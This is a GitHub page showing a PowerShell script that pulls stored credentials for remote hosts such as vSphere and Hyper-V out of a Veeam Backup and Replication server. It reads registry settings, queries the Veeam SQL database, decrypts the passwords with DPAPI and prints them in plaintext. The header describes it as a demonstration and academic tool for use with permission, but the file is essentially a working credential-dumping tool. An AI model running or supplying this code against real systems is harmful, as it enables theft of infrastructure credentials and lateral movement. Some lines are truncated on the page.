sadshade / **veeam-creds** Public

Files

6010eaf

Go to file

- data
- LICENSE
- README.md
- Veeam-Get-Creds.ps1
- VeeamGetCreds.yaml
- veeampot.py

veeam-creds / **Veeam-Get-Creds.ps1**

fsacer Use the non-deprecated provider 6010eaf · 2 years ago History

Code Blame 69 lines (59 loc) · 2.37 KB Raw

```
# About:  The script is designed to recover passwords used by Veeam to connect
#         to remote hosts vSphere, Hyper-V, etc. The script is intended for
#         demonstration and academic purposes. Use with permission from the
#         system owner.
#
# Author: Konstantin Burov.
#
# Usage:  Run as administrator (elevated) in PowerShell on a host in a Veeam
#         server.

Add-Type -assembly System.Security

#Searching for connection parameters in the registry
try {
        $VeaamRegPath = "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\"
        $SqlDatabaseName = (Get-ItemProperty -Path $VeaamRegPath -ErrorAction Stop).Sql
        $SqlInstanceName = (Get-ItemProperty -Path $VeaamRegPath -ErrorAction Stop).Sql
}
catch {
        echo "Can't find Veeam on localhost, try running as Administrator"
        exit -1
}

""
"Found Veeam DB on " + $SqlServerName + "\" + $SqlInstanceName + "@" + $SqlDatabaseName

#Forming the connection string
$SQL = "SELECT [user_name] AS 'User name',[password] AS 'Password' FROM [$SqlDatabaseNa
        "WHERE password <> ''" #Filter empty passwords
$auth = "Integrated Security=SSPI;" #Local user
$connectionString = "Provider=MSOLEDBSQL; Data Source=$SqlServerName\$SqlInstanceName;
"Initial Catalog=$SqlDatabaseName; $auth; "
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
$command = New-Object System.Data.OleDb.OleDbCommand $SQL, $connection

#Fetching encrypted credentials from the database
try {
        $connection.Open()
        $adapter = New-Object System.Data.OleDb.OleDbDataAdapter $command
        $dataset = New-Object System.Data.DataSet
        [void] $adapter.Fill($dataSet)
        $connection.Close()
}
catch {
        "Can't connect to DB, exit."
        exit -1
}

"OK"

$rows=($dataset.Tables | Select-Object -Expand Rows)
if ($rows.count -eq 0) {
        "No passwords today, sorry."
        exit
}
```

```
""
"Here are some passwords for you, have fun:"

#Decrypting passwords using DPAPI
$rows | ForEach-Object -Process {
        $EnryptedPWD = [Convert]::FromBase64String($_.password)
        $ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedP
        $enc = [system.text.encoding]::Default
        $_.password = $enc.GetString($ClearPWD)
}

Write-Output $rows | FT | Out-string
```